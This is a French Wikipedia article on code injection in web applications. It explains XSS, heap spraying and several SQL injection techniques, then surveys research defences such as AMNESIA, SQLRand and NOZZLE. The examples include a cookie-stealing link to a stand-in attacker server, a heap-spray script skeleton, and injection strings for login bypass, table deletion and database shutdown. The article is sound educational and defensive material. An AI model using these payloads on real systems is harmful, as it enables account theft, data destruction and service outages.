Injection de code dans les applications web

Un article de Wikipédia, l'encyclopédie libre.
Aller à : navigation, rechercher

L'injection de code est une technique qui consiste à injecter des données dans une application pour en modifier le comportement. Dans le cadre d'une application web, on peut distinguer deux familles, les injections du côté client web et les injections du côté serveur de base de données. Ces injections sont souvent effectuées en injectant le code malicieux via les formulaires disponibles dans ces applications. Cet article présente certaines techniques d'injections et certains mécanismes de protection appliqués aux langages JavaScript et SQL

Sommaire

JavaScript[modifier | modifier le code]

Le JavaScript est un langage de programmation de script orienté client. Il peut également être utilisé côté serveur, avec par exemple AngularJS ou node.js. Les préoccupations de l'utilisateur étant de plus en plus importantes, il est devenu l'un des langages incontournables en web 2.0.

Ce langage possède différentes politiques de sécurité. La première permet de limiter l'exécution d'un script. Il n'a en effet pas accès à toutes les ressources système puisqu'il est limité aux ressources du navigateur. Ce mode de fonctionnement est appelé sandboxing[1]. La seconde est la same-origin policy[1]. Elle vise à restreindre l'accès d'un script aux données du domaine d'exécution. Deux domaines sont considérés égaux à partir du moment où le protocole, l'hôte et le port sont identiques sur les deux domaines.

Le JavaScript étant de plus en plus utilisé, il est la cible, au même titre que le SQL, de plusieurs attaques visant à outrepasser ces politiques de sécurité.

Types d'attaque[modifier | modifier le code]

Deux catégories d'attaque peuvent être utilisées, l'attaque de Cross-site scripting (XSS) et celle du heap-spraying.

Cross-site scripting (XSS)[modifier | modifier le code]

Article détaillé : cross-site scripting.
Principes et buts[modifier | modifier le code]
Schéma d'une attaque XSS classique

Une attaque XSS est une attaque visant les sites internet ou les applications Web. Elle consiste à injecter des scripts dans la réponse d'une application, généralement du HTML, qui sera interprétée par le navigateur. Le but de ces deux attaques est de récupérer les données sensibles de l'application et de les envoyer vers un serveur sous le contrôle de l'attaquant.

Il y a deux types d'attaque XSS, la reflected XSS (aussi communément appelée type 1 ou first-order XSS) et la persistent XSS (aussi communément appelée type 2, stored XSS ou second-order XSS)[2],[3],[4].

La reflected XSS consiste à injecter des scripts dans une application pour qu'ils soient exécutés sur le navigateur du côté client. Cette attaque n'est pas stockée dans l'application, aucune trace ne sera visible sur le serveur. Elle intervient généralement par la propagation d'un lien et utilise le social engineering. Lorsque l'utilisateur clique sur ce type de lien, une requête contenant du code malicieux est envoyée vers le serveur, celui-ci va alors retourner une réponse contenant ce code à l'utilisateur (page, erreur). Le code injecté sera alors exécuté par le navigateur dans le même contexte que les scripts de l'application, permettant ainsi à l'attaquant de récupérer le cookie associé à l'utilisateur et d'envoyer ces informations vers un serveur sous son contrôle.

La persistent XSS est une attaque qui consiste à stocker du code malicieux à l'intérieur du système de stockage de l'application. Pour qu'elle soit effective, l'application devra utiliser ces données dans la génération de ses réponses. L'exemple courant est un message posté sur un forum. Le message sera nécessairement stocké en base de données. Si celui-ci contient du code malicieux, il sera exécuté à chaque fois qu'un utilisateur ouvrira la page le contenant. Cette attaque a donc beaucoup plus de cibles potentielles que la précédente.

Exemples[modifier | modifier le code]
  • Reflected XSS et site de vente en ligne

Les informations de l'utilisateur sont stockées à l'intérieur d'un cookie. Un attaquant décide de contourner la politique de sécurité du JavaScript. Il peut alors le faire très simplement en distribuant le lien suivant aux utilisateurs.

<a href="http://www.online-market.com/
  <script> document.location='http://www.my-server.com/steal-cookie.php?'+document.cookie</script>">
  Cliquez ici pour obtenir une réduction  !
</a>

Le lien affiché sera : « Cliquez ici pour obtenir une réduction ! ». Si l'utilisateur n'est pas attentif à la cible du lien, il suffit qu'il soit authentifié et qu'il clique sur celui-ci pour envoyer ses données sensibles vers le serveur de l'attaquant.

  • Persistent XSS et forum[4]

Un attaquant détecte une faille sur un forum où les utilisateurs peuvent écrire et réagir à des sujets. Le code (très simplifié) du forum est le suivant :

if($_GET['mode'] == 'add') {
    addMessage();
}
else displayAllCommentsForTopic();

function addMessage() { 
    if(!isset($_POST['msg']) || !isset($_POST['subject_id']) || !isset($_POST['author'])) { 
        exit;
    }
    $msg = $_POST['msg'];
    $subject_id = $_POST['subject_id'];
    $author = $_POST['author'];
    $sql = "INSERT INTO comments VALUES('$msg','$author','$subject_id')";
    $result = mysql_query($sql);
}

function displayAllCommentsForTopic() {
    if(!isset($_GET['subject_id'])){
        exit;
    }
    $subject_id = $_GET['subject_id'];
    $sql = "SELECT comment FROM comments WHERE subject_id='$subject_id'";
    $result = mysql_query($sql);
    while($row = mysql_fetch_assoc($result)) {
        echo $row['comment'];
    }
}

L'un des vecteurs d'attaque possible pour l'attaquant lors de la soumission d'un formulaire pourrait être :

mode=add
msg=Bonjour !<script>alert("Persistent XSS");</script>
subject_id=1
author=Attacker

Le script <script>alert("Persistent XSS");</script> sera alors exécuté à chaque fois qu'un utilisateur accèdera au sujet 1.

Heap-spraying[modifier | modifier le code]

Illustration heap-spraying
Illustration du heap-spraying

Une attaque de type heap spraying (en) utilise la mémoire d'une application pour exécuter du code malicieux. Elle est compliquée à mettre en place et nécessite des connaissances avancées dans le moteur d'exécution du langage visé. Depuis quelques années, les systèmes d'exploitation possèdent des systèmes de protection efficaces. Un système possède nécessairement une protection pour la pile d'exécution, des algorithmes avancés pour l'allocation mémoire, des espaces mémoires réservés aléatoirement et une protection sur l'exécution du code en lui-même. Cependant, les attaques de ce type sont de plus en plus nombreuses et sont particulièrement efficaces dans les applications web puisque les cibles y sont d'autant plus nombreuses[5].

Principes et but[modifier | modifier le code]

Le heap spraying requiert que l'attaquant se base sur d'autres failles de sécurité pour lancer son attaque. En effet, l'attaquant va utiliser la technique du « spray » pour augmenter les chances que le code malicieux qu'il a placé en mémoire soit exécuté. Il faut tout d'abord savoir que l'allocation des objets en mémoire se fait aléatoirement. Cette technique consiste alors à placer le plus d'objets possibles contenant du code malicieux à l'intérieur de celle-ci. Plus le nombre d'objets y sera important, plus il sera probable que l'injection réussisse. Pour augmenter les chances que les objets placés en mémoire soient exécutés, il faut qu'ils respectent une certaine structure. Pour cela, un objet doit contenir un espace suffisamment grand d'instructions NOP, puis un espace contenant le code malicieux de l'attaque. Sa cible la plus courante est les langages interprétés puisqu'ils ne nécessitent aucune compilation[6].

Ce type d'attaque n'est pas limité au Web. De nombreuses variantes ont été proposées pour le bytecode compilé ou les piles de thread[5].

Exemple[modifier | modifier le code]

Voici un exemple de code javascript[6] utilisé pour attaque de type heap-spraying.

<script>
    shellcode = unescape("%u4343%u4343%...");
    oneblock = unescape("%u0D0D%u0D0D");
    var fullblock = oneblock;
    while (fullblock.length<0x40000) {
        fullblock += fullblock;
    }
    sprayContainer = new Array();
    for (i=0; i<1000; i++) {
        sprayContainer[i] = fullblock + shellcode;
    }
</script>

La ligne 2 va permettre d'allouer une chaîne contenant le code malicieux à exécuter. Les lignes 3 à 8 vont permettre de constituer la partie NOP de l'objet, les lignes 10 à 13 de créer 1000 objets pour le heap-spraying. Chaque objet contiendra une partie NOP et le code à exécuter. Ce code javascript est contenu dans une page HTML qui sera divulguée par l'intermédiaire de son lien. À chaque fois que la page sera affichée, le javascript sera exécuté et les 1000 objets seront placés en mémoire. L'attaquant devra alors attendre que son code soit exécuté.

Mécanismes de détection[modifier | modifier le code]

Plusieurs mécanismes de détection peuvent être mis en place pour contrer ces attaques. Deux politiques peuvent-être envisagées :

  • Mise en place des sécurités nécessaires du côté serveur.
  • Mise en place d'outils du côté client pour les détecter.

Noxes : XSS Web Firewall[modifier | modifier le code]

Principes[modifier | modifier le code]

Noxes[7] est un mécanisme de protection placé du côté client. Il a été développé par Microsoft et fonctionne en tant que service Windows. Son principe de fonctionnement reprend celui du pare-feu présent sous Windows. Sur un pare-feu classique, une notification apparaît demandant à l'utilisateur s'il souhaite ou non accepter la connexion distante lorsque aucune règle n'a été définie pour celle-ci. Ici, Noxes va appliquer le même procédé, non pas sur la connexion distante, mais sur les requêtes à l'intérieur même de celle-ci. En résumé, il permet à l'utilisateur d'autoriser ou de refuser des requêtes HTTP sur les différentes connexions distantes actives.

Noxes affiche une alerte à chaque fois que des données sensibles sont envoyées vers un autre domaine. L'utilisateur a alors le choix, par le biais d'une pop-up, d'accepter ou non cette requête. Plusieurs optimisations ont été mises en place pour éviter un nombre d'alertes trop important. Par exemple, les liens locaux affichées sur une page ne sont pas traités ou la limitation du nombre de liens externes fixée à quatre[8].

Efficacité[modifier | modifier le code]

Noxes a été évalué sur des bugs référencés pouvant entraîner des attaques XSS (notamment Php-Nuke). Selon l'étude, il leur a permis de détecter et d'empêcher la plupart de ces attaques[9].

Limites[modifier | modifier le code]

Noxes possède également quelques limites. Premièrement, il ne protège pas des attaques de type D.O.S (Denial Of Service attack). En effet, aucune information sensible n'est transmise durant celles-ci. L'attaquant pourrait par exemple forcer la fermeture du navigateur d'un utilisateur. Il est également possible pour un attaquant de lancer une attaque XSS et d'injecter du code HTML à la place du Javascript. Noxes se basant sur les cookies et la session, aucune alerte ne sera levée[8].

Marquage dynamique et statique des données sensibles[modifier | modifier le code]

Principes[modifier | modifier le code]

Les marquages dynamiques et statiques[10] sont des mécanismes de détection placés du côté client. Ils vont empêcher un site internet tiers ou une application web tierce de récupérer les données sensibles de l'utilisateur. Celles-ci sont automatiquement référencées au lancement de la page ou de l'application[11]. Pour cela, un mécanisme de marquage dynamique des données est utilisé. Celui-ci va permettre de marquer une donnée comme sensible. Il prend également en compte les dépendances, ce qui va permettre de suivre la donnée tout au long de son cycle de vie, quel que soit le traitement effectué[12]. Un marquage statique y est également associé pour pallier quelques cas de dépendances indirectes qu'il n'est pas possible de détecter avec le marquage précédent[13].

Implémentation[modifier | modifier le code]

Un prototype a été mis en place permettant d'utiliser ces deux types de marquage. Ce prototype étend la version 1.0pre de Mozilla Firefox. Un nouveau moteur d'exécution du Javascript, Spider-Monkey, a été créé pour marquer les données à l'intérieur de celui-ci. Une modification du DOM html a également été effectuée pour suivre les données marquées à l'intérieur même du HTML. Lorsqu'une donnée sensible est demandée par une ressource externe, l'utilisateur a alors le choix d'autoriser ou non le transfert, temporairement ou en permanence[14].

Efficacité et limites[modifier | modifier le code]

Cette implémentation a été testée sur plusieurs bugs répertoriés dans des applications web open-source, comme phpBB[14]. Elle s'est montrée efficace puisqu'elle les a toutes détectés. Un moteur d'indexation de pages a également été utilisé pour la tester dans des conditions réelles. Plus d'un million de pages ont été analysées, 88 589 d'entre elles ont généré une alerte. Après analyse des données, il s'est avéré que la plupart étaient générées par des sites récoltant des informations pour la génération de statistiques. Les tests à échelle globale n'ont donc pas pu démontrer son efficacité dans des conditions réelles[15].

NOZZLE : Défense contre le Heap-Spraying[modifier | modifier le code]

Principes[modifier | modifier le code]

NOZZLE est capable d'intercepter les appels mémoire à l'intérieur du moteur d'exécution du navigateur Firefox. Il va analyser le contenu de tous les objets présents en mémoire. Il se base sur le fait que les objets utilisés par l'attaquant doivent avoir une structure bien précise, comme décrite dans la partie précédente. Pour cela, des analyses avancées ont été mises en place pour les détecter[16].

Efficacité et limites[modifier | modifier le code]

L'analyse de l'efficacité de cette implémentation s'est limitée à son couplage avec Firefox. Il a été testé sur les différentes attaques connues, des cas créés et des sites utilisés quotidiennement. L'analyse des résultats montre qu'un petit nombre de faux positifs et de faux négatifs ont été détectés. Également, les analyses [17] montrent que Nozzle n'augmente pas de manière significative l'utilisation du CPU et ne devrait donc pas perturber l'utilisateur.

Comparaison des mécanismes de protection[modifier | modifier le code]

Outil / Méthode de détection XSS First Order XSS Second Order Heap Spraying
Noxes
 Oui
 Oui
 Non
Marquage dynamique et statique
 Oui
 Oui
 Non
Nozzle
 Non
 Non
 Oui


SQL[modifier | modifier le code]

Le langage SQL est le langage de manipulation de données le plus utilisé pour les applications web[18]. Par conséquent, les attaques les plus courantes visant les applications web sont effectuées via des injections SQL[19]. Ces attaques ont généralement pour but :

  • De récupérer des informations sur le type de base de données et les requêtes qui y sont exécutées.
  • De récupérer les données sensibles de l'application.
  • D'outrepasser les systèmes d'authentification ou de modifier les autorisations d'accès.
  • De supprimer ou de modifier les données de l'application.
  • De rendre inaccessible l'application en agissant sur la base de données.

Types d'attaque[modifier | modifier le code]

La plupart des attaques présentées dans cet article sont le plus souvent utilisées parallèlement lors des tentatives d'injections SQL. Certains langages de programmation proposent des mécanismes d'échappement pour empêcher les injections SQL, ces derniers sont suffisants pour se protéger des injections basiques mais se révèlent inefficaces lorsqu'ils sont confrontés à des injections plus complexes[20].

Requêtes incorrectes[modifier | modifier le code]

Principes et buts[modifier | modifier le code]

En rendant volontairement une requête incorrecte, une personne mal-intentionnée peut récupérer des informations sur la base de données utilisée par le serveur, ainsi que la structure et le type des paramètres attendus par les champs de la requête. Cette attaque n'est possible que lorsqu'un message d'erreur est envoyé lors de l'échec mais le simple fait que la requête ait échoué peut permettre à l'attaquant de deviner des informations sur la requête. C'est une attaque préliminaire aux autres, elle va permettre à l'attaquant d'être plus efficace lors de ses tentatives d'injections SQL[21],[22].

Exemple[modifier | modifier le code]

Prenons le code php suivant :

   $sql = "SELECT id FROM Users WHERE login='".$_POST["login"]."' and password='".$_POST["password"]."'";
   $result = @mysql_query($sql) or die ("Erreur SQL :".$sql);

Ce code représente une requête d'authentification utilisant la méthode POST du protocole HTTP. En cas d'erreur lors de l'exécution de la requête, un message est affiché.

En utilisant 'aaa dans le champ login et aaa comme mot de passe, l'exécution de la requête SQL va retourner une erreur car le guillemet droit est interprété comme une fin de chaîne caractères.

  Erreur SQL : SELECT id FROM Users WHERE login=''aaa' and password='aaa'

L'attaquant connaît maintenant exactement la requête qui est exécutée sur le serveur, et peut donc passer à des méthodes d'injections plus complexes.

Tautologie[modifier | modifier le code]

Principes et buts[modifier | modifier le code]

L'attaque par tautologie consiste à rendre toujours vraie une condition suivant un WHERE. La requête SQL ainsi construite retournera donc toujours au moins un résultat lors de son exécution. Cette attaque est couramment utilisée pour contourner une authentification ou pour récupérer les données d'une table. L'attaquant doit modifier la structure syntaxique de la condition et introduire une tautologie qui permettra de modifier le comportement de la requête[21],[23],[24].

Exemple[modifier | modifier le code]

Considérons une requête d'authentification nécessitant un mot de passe et un pseudonyme, si un résultat est retourné alors on estime que l'utilisateur est authentifié.

SELECT id FROM Users WHERE login='(Pseudonyme)' and password='(Mot de passe)'

Si aucune vérification n'est effectuée alors l'attaquant peut contourner le système d'authentification en insérant ' OR 1=1 -- dans login.

SELECT id FROM Users WHERE login='' OR 1=1 --' and password=''

Ici la tautologie 1=1 est insérée de manière à rendre inutile toutes les autres conditions de la requête. Pour que la tautologie ne soit pas considérée comme une simple chaîne et puisse donc être évaluée par le moteur SQL il suffit d'utiliser le symbole ' délimitant une chaîne de caractère. Le symbole -- de commentaire SQL permet de s'assurer que le reste de la requête sera ignoré lors de l'évaluation.

Requêtes d'union[modifier | modifier le code]

Principes et buts[modifier | modifier le code]

En utilisant l'opérateur SQL UNION, l'attaquant peut modifier totalement le comportement d'une requête. La commande UNION de SQL permet de combiner les résultats de deux requêtes, elle peut donc être utilisée pour récupérer les données d'une table autre que celle initialement utilisée dans la requête. L'utilisation de l'opérateur UNION nécessite de modifier la structure syntaxique de la requête en utilisant par exemple ' ou --[25].

Exemple[modifier | modifier le code]

Reprenons la requête d'authentification précédente.

SELECT id FROM Users WHERE login='(Pseudonyme)' and password='(Mot de passe)'

Un attaquant ayant récupéré assez d'informations sur la base de données (en utilisant par exemple des requêtes incorrectes) peut utiliser UNION pour récupérer d'autres informations. Par exemple en injectant 'UNION SELECT account_number from Bank_account where 1=1 -- dans le champ pseudonyme on obtient la requête suivante :

SELECT id FROM Users WHERE login='' UNION SELECT account_number from Bank_account where 1=1 -- and password=''

Cette fois aussi la vérification du mot de passe est ignorée puisque placée après le symbole de commentaire. La requête originale devrait ne pas retourner de résultats car le champ login est une chaîne vide, mais l'utilisation de l'opérateur UNION permet ici de récupérer les informations de la table Bank_account.

Requêtes multiples[modifier | modifier le code]

Principes et buts[modifier | modifier le code]

Certaines configurations de bases de données permettent l'exécution de plusieurs requêtes contenues dans une seule chaîne de requêtes, cette technique est couramment utilisée pour insérer ou mettre à jour de grandes quantités de données. En exploitant cette fonctionnalité l'attaquant peut donc faire exécuter des requêtes multiples (Piggy-Backed Queries en anglais) en injectant le caractère ; habituellement utilisé pour séparer deux requêtes consécutives. Ce type d'attaque se révèle extrêmement puissant car l'attaquant n'est plus limité à la structure de la requête, il est donc en mesure d'ajouter, d'extraire, de modifier ou de supprimer des données à sa guise. Cette attaque permet aussi l'exécution de commandes propres au moteur de bases de données comme par exemple celle concernant la gestion des utilisateurs SQL[25].

Exemple[modifier | modifier le code]

Si la base de données permet l'exécution de requêtes multiples, il suffit alors d'injecter le caractère ; de manière à ce qu'il soit interprété.

SELECT id FROM Users WHERE login='(Pseudonyme)' and password='(Mot de passe)'

En utilisant '; DROP TABLE Users -- comme pseudonyme, la table Users sera effacée de la base de données.

SELECT id FROM Users WHERE login=''; DROP TABLE Users -- and password=''

Même si la requête SELECT ne retourne aucun résultat, la requête contenant le DROP sera exécutée. Comme précédemment, la vérification du mot de passe est commentée.

Procédures stockées[modifier | modifier le code]

Principes et buts[modifier | modifier le code]

Les procédures stockées sont des instructions SQL pré-compilées qui permettent l'interaction avec les données mais aussi avec le système. De nombreux SGBD proposent par défaut un ensemble de procédures stockées et permettent aux utilisateurs d'en créer. L'utilisation de procédures stockées est parfois conseillée pour éviter les injections SQL, mais sans mécanisme de protection, cette pratique se révèle tout aussi dangereuse puisqu'elle permet d'exécuter des instructions du SGBD difficilement accessibles autrement. L'injection SQL dans les procédures stockées permet donc de modifier les privilèges utilisateurs ou même de stopper complètement le SGBD[25].

Exemple[modifier | modifier le code]

Pour SQLServer la requête d'authentification précédente pourrait être écrite sous forme de procédure stockée de la manière suivante :

CREATE PROCEDURE DBO.isAuthenticated
@login varchar2, @password varchar2,
AS
EXEC("SELECT id FROM Users
WHERE login='" +@login+ "' and pass='" +@password+"'");
GO

En utilisant le même principe qu'avec les requêtes multiples, il est possible d'injecter '; SHUTDOWN; -- dans le champ login. A l'exécution, on obtiendra donc la requête SQL suivante :

SELECT id FROM Users WHERE login=''; SHUTDOWN; -- and password=''

L'instruction SHUTDOWN va stopper SQL Server empêchant ainsi l'application web attaquée d'exécuter d'autres requêtes. Ceci aura pour effet de rendre l'application inaccessible à la manière d'une attaque DoS.

Attaques en aveugle[modifier | modifier le code]

Principes et buts[modifier | modifier le code]

Si aucun message d'erreur SQL n'est disponible alors l'attaquant peut utiliser le principe des attaques en aveugle pour obtenir plus d'informations sur les champs sensibles à une injection SQL. Ces attaques permettent de récolter des informations en observant la réponse de l'application. Si le comportement de l'application diffère entre une tentative d'injection et une requête ne retournant pas de résultats alors l'attaquant peut savoir si l'application est vulnérable ou non. Dans le cas où le comportement ne varie pas, le temps d'exécution peut aussi être utilisé pour obtenir des informations sur la requête SQL. En injectant une commande modifiant significativement le temps d'exécution de la requête, il est possible de savoir si l'injection a été effectuée ou non[26].

Exemple[modifier | modifier le code]

En reprenant le principe de l'attaque par tautologie, il est possible d'exécuter les deux requêtes suivantes :

SELECT id FROM Users WHERE login='' OR 1=0 --' and password=''
SELECT id FROM Users WHERE login='' OR 1=1 --' and password=''

Si l'injection est possible sur le champ login alors la première requête devrait toujours échouer alors que la deuxième devrait fonctionner. Si l'application renvoie un message d'erreur du type "Impossible de s'authentifier" pour les deux requêtes alors l'injection a échoué et l'attaquant peut en déduire que le champ login est protégé. Dans le cadre contraire, s'il obtient un message d'erreur puis un message différent pour la seconde requête alors il peut en déduire que le champ est sensible à l'injection SQL et passer à des attaques plus complexes.

Changement d'encodage[modifier | modifier le code]

Principes et buts[modifier | modifier le code]

Le changement d'encodage est utilisé pour contourner les mécanismes de protection mis en place par les développeurs d'applications. Plutôt que d'utiliser directement les caractères dans une chaîne, l'attaquant utilise son équivalent dans un système d'encodage différent, ainsi pour certains SGBD, il est possible d'utiliser directement la valeur hexadécimale d'un caractère ou de passer par la fonction CHAR qui prend une valeur numérique en argument et retourne le caractère ASCII correspondant. Le changement d'encodage est utilisé en support des autres attaques[26].

Exemple[modifier | modifier le code]

Reprenons notre attaque par tautologie.

SELECT id FROM Users WHERE login='' OR 1=1 --' and password=''

Le développeur pourrait utiliser un mécanisme détectant l'utilisation du caractère - comme une attaque et neutraliser ainsi la tentative d'injection SQL. Toutefois en injectant CHAR(45,45) à la place, on obtient le même résultat à l'exécution.

SELECT id FROM Users WHERE login='' OR 1=1 CHAR(45,45)' and password=''

CHAR(45,45) sera interprété par le moteur de bases de données comme la chaîne -- puisque le code ASCII de - est 45. Le mécanisme mis en place par le développeur ne détectera pas cette mise en commentaire et l'injection fonctionnera.

Mécanismes de détection[modifier | modifier le code]

Les mécanismes de détection propres aux langages de programmation et les bonnes pratiques de développement étant faillibles, plusieurs mécanismes de détection complexes sont proposés pour détecter automatiquement les tentatives d'injections. Les solutions présentées ici proposent une implémentation fonctionnant pour un ou plusieurs langages.

AMNESIA[modifier | modifier le code]

Principes de fonctionnement[modifier | modifier le code]

Pour se protéger des injections SQL, AMNESIA repose sur une analyse statique du programme ainsi que sur une surveillance effectuée lors de l'exécution du programme. Le code source de l'application est tout d'abord analysé pour construire un modèle correspondant aux requêtes SQL qui sont normalement exécutées par l'application. Ce modèle peut être représenté par un automate fini déterministe qui reconnaîtra le langage des expressions SQL ne contenant pas de tentatives d'injections.

Exemple d'automate créé par AMNESIA

Lors de l'exécution de l'application, les requêtes SQL devant être exécutées sont envoyées au moteur de vérification d'AMNESIA qui va découper la requête de la même façon que le ferait le SGBD pour en extraire une suite d'expressions contenant les mots clefs et types de variables du langage SQL. Par exemple SELECT id FROM users WHERE login='aaa' sera découpé en SELECT,id,FROM,users,where,login,=,',aaa,'. Ce découpage est ensuite soumis à l'automate formé par le modèle précédemment créé, s'il est accepté alors il n'y a pas injection et l'application continue son exécution normalement, s'il est refusé alors on considère qu'il y a injection SQL et la requête n'est pas exécutée[27].

Efficacité[modifier | modifier le code]

L'outil a été testé avec succès sur 7 applications avec 1470 attaques détectées et 3500 requêtes normales exécutées sans générer un seul faux-positif[28]. Le temps d'exécution supplémentaire généré par l'analyse semble négligeable par rapport à la latence du réseau et au temps d'accès aux données de la base[28]. L'implémentation d'AMNESIA s'est révélée capable de détecter tous les types d'attaques SQL présentés dans cet article sauf lorsque les procédures stockées sont utilisées[20].

Limitations[modifier | modifier le code]

AMNESIA n'est pas capable de détecter les injections lorsqu'elles sont effectuées à l'aide de procédures stockées[20]. L'analyse de l'application nécessite que les requêtes SQL soient facilement identifiables dans le code source[23]. Dans un environnement nécessitant une optimisation des performances, le surcoût de l'analyse pourrait poser problème[28]. Pour l'instant, l'implémentation d'AMNESIA n'est disponible que pour le langage JAVA.

SQLRand[modifier | modifier le code]

Principes de fonctionnement[modifier | modifier le code]

SQLRand est l'application au langage SQL du mécanisme instruction set-randomization[29] qui consiste à encoder les instructions d'un processeur en utilisant un entier seulement connu par le système, ainsi lors d'une tentative d'injection de code du type dépassement de tampon le système ne reconnaitra pas le code injecté et ne l'exécutera donc pas. Appliqué au langage SQL cela consiste simplement à rajouter une clef entière sur chaque mot-clef du langage SQL. Par exemple avec la clef "123", l'instruction SELECT devient SELECT123. L'application cliente connait la clef et chaque requête est envoyée sur un serveur mandataire qui sert de relais entre l'application web et le SGBD. Le proxy se charge de transformer la requête en supprimant l'entier des mots-clefs du langage avant de l'envoyer vers le SGBD pour exécution. Dans le cas où une instruction ne contient pas la clef, le proxy retourne la valeur NULL vers l'application cliente pour lui signaler que la requête est incorrecte. Un attaquant ne connaissant pas la clef ne peut donc pas injecter de code en utilisant la syntaxe SQL usuelle[30].

Efficacité[modifier | modifier le code]

Une implémentation du serveur mandataire en langage C a été testé conjointement avec un forum PHP vulnérable aux injections SQL. Après implémentation de la méthode, les tentatives d'injections ont toutes échouées[31]. Dans le pire des cas, l'utilisation du serveur mandataire a rajouté 6,5ms au temps d'exécution totale de la requête, ce qui semble négligeable pour la plupart des applications web ayant des temps de réponses de l'ordre de la seconde[32].

Limitations[modifier | modifier le code]

Le temps d'exécution supplémentaire pourrait poser problème à des applications dont les temps de réponses doivent être très courts. Il est nécessaire de modifier l'application cliente pour qu'elle utilise la clef lors de la construction de ses requêtes. De plus SQLrand se montre inefficace pour contrer les injections utilisant les procédures stockées, les changements d'encodages et il ne fournit pas de solutions pour traiter différemment les tentatives d'injections de code et les requêtes incorrectes[20].

SQLCHECK[modifier | modifier le code]

Principes de fonctionnement[modifier | modifier le code]

SQLCHECK considère qu'une injection de code a lieu lorsqu'une entrée saisie par un utilisateur de l'application modifie la structure syntaxique de la requête SQL utilisant cette entrée. Toutes les entrées utilisateurs, comme celle provenant d'un formulaire, sont entourées de symboles (par exemple { et }) avant d'être ajoutées à une requête. Ce marquage permet ainsi de tracer les entrées considérées comme non fiables tout au long de l'exécution de l'application. Dès lors qu'une requête contenant des entrées marquées doit être exécutée, une analyse syntaxique est effectuée sur cette requête et sur la requête originale ne comprenant pas les entrées utilisateurs. Si la structure de ces deux requêtes diffère, par exemple si l'instruction SQL OR est contenue dans une des entrées utilisateurs, alors SQLCHECK considère qu'il y a eu tentative d'injection et une erreur est levée[33].

Efficacité[modifier | modifier le code]

SQLCHECK a été testé sur une application en PHP et une autre utilisant des JSP. Lors des tests, toutes les tentatives d'injections ont été détectées et il n'y a pas eu de faux-positifs. En moyenne, les contrôles effectués par SQLCHECK ont augmenté le temps d'exécution de 100ms, ce qui n'impacte pas l'expérience de l'utilisateur[34].

Limitations[modifier | modifier le code]

Comme pour les autres méthodes, le temps d'exécution pourrait être problématique pour des applications nécessitant des hautes performances. L'implémentation de l'algorithme, en plus de la modification du code source de l'application, nécessite d'utiliser le système de marquage sur toutes les entrées utilisateurs, ce qui peut être complexe lorsque ces sources sont multiples. SQLCHECK n'est pas capable de détecter les injections SQL lorsque les procédures stockées sont utilisées car il n'y a pas forcément modification de la structure syntaxique du code avec cette technique d'attaque[20].

Comparaison des mécanismes de protection[modifier | modifier le code]

Efficacité en fonction des types d'attaques[modifier | modifier le code]

Types d'attaques AMNESIA SQLRand SQLCHECK
Requêtes incorrectes
 Oui
 Non
 Oui
Tautologie
 Oui
 Oui
 Oui
Requêtes d'union
 Oui
 Oui
 Oui
Requêtes multiples
 Oui
 Oui
 Oui
Procédure stockées
 Non
 Non
 Non
Attaque en aveugle
 Oui
 Oui
 Oui
Changement d'encodage
 Oui
 Non
 Oui

Notes et références[modifier | modifier le code]

  1. a et b Kirda et al., page 330
  2. Vogt et al., page 2
  3. Kirda et al., page 331
  4. a et b Kiezun et al., page 201-202
  5. a et b Ratanaworabhan et al., page 169
  6. a et b Ratanaworabhan et al., page 171
  7. Kirda et al., page 332
  8. a et b Kirda et al., page 333
  9. Kirda et al., page 335
  10. Vogt et al., page 1
  11. Vogt et al., page 4
  12. Vogt et al., page 5
  13. Vogt et al., page 7
  14. a et b Vogt et al., page 9
  15. Vogt et al., page 10
  16. Ratanaworabhan et al., page 173
  17. Ratanaworabhan et al., page 180
  18. www.dsfc.net
  19. Ray et al., page 179
  20. a, b, c, d et e Halfond et al., page 8
  21. a et b Halfond et al., page 3
  22. Boyd et al., page 3
  23. a et b Halfond et al., page 3
  24. Su et al., page 372
  25. a, b et c Halfond et al., page 4
  26. a et b Halfond et al., page 5
  27. Halfond et al.
  28. a, b et c Halfond et al., page 9
  29. Kc et al.
  30. Boyd et al.
  31. Boyd et al.,page 6
  32. Boyd et al.,page 7
  33. Su et al.
  34. Su et al., page 8

Annexes[modifier | modifier le code]

Bibliographie[modifier | modifier le code]

  • (en) William G.J. Halfond et Alessandro Orso, « AMNESIA: Analysis and Monitoring for NEutralizing SQL-Injection Attacks », ASE '05 Proceedings of the 20th IEEE/ACM international Conference on Automated software engineering, ACM New York,‎ , p. 174-183 (ISBN 1-58113-993-4, DOI 10.1145/1101908.1101935)
  • (en) Adam Kiezun, Philip J. Guo, Karthick Jayaraman et Michael D. Ernst, « Automatic creation of SQL Injection and cross-site scripting attacks », ICSE '09 Proceedings of the 31st International Conference on Software Engineering, IEEE Computer Society Washington, DC, USA,‎ , p. 199-209 (ISBN 978-1-4244-3453-4, DOI 10.1109/ICSE.2009.5070521)
  • (en) Gaurav S. Kc, Angelos D. Keromytis et Vassilis Prevelakis, « Countering code-injection attacks with instruction-set randomization », CCS '03 Proceedings of the 10th ACM conference on Computer and communications security, ACM New York,‎ , p. 272 - 280 (ISBN 1-58113-738-9, DOI 10.1145/948109.948146)
  • (en) Donald Ray et Jay Ligatti, « Defining code-injection attacks », POPL '12 Proceedings of the 39th annual ACM SIGPLAN-SIGACT symposium on Principles of programming languages, ACM New York,‎ , p. 179-190 (ISBN 978-1-4503-1083-3, DOI 10.1145/2103656.2103678)
  • (en) Engin Kirda, Christopher Kruegel, Giovanni Vigna et Nenad Jovanovic, « Noxes: a client-side solution for mitigating cross-site scripting attacks », SAC '06 Proceedings of the 2006 ACM symposium on Applied computing, ACM New York,‎ , p. 330-337 (ISBN 1-59593-108-2, DOI 10.1145/1141277.1141357)
  • (en) William G.J. Halfond, Jeremy Viegas et Alessandro Orso, « A Classification of SQL Injection Attacks and Countermeasures », IEEE '06 Proceedings of the IEEE International Symposium on Secure Software Engineering,‎ (lire en ligne [PDF])
  • (en) Paruj Ratanaworabhan, Benjamin Livshits et Benjamin Zorn, « NOZZLE: a defense against heap-spraying code injection attacks », SSYM'09 Proceedings of the 18th conference on USENIX security symposium, USENIX Association Berkeley,‎ , p. 169-186 (ISBN 978-1-931971-69-0, lire en ligne [PDF])
  • (en) Stephen W. Boyd et Angelos D. Keromytis, « SQLrand: Preventing SQL Injection Attacks », ACNS '04 Proceedings of the 2nd Applied Cryptography and Network Security Conference, Springer, vol. 3089,‎ , p. 292-302 (ISBN 3-540-22217-0, lire en ligne)
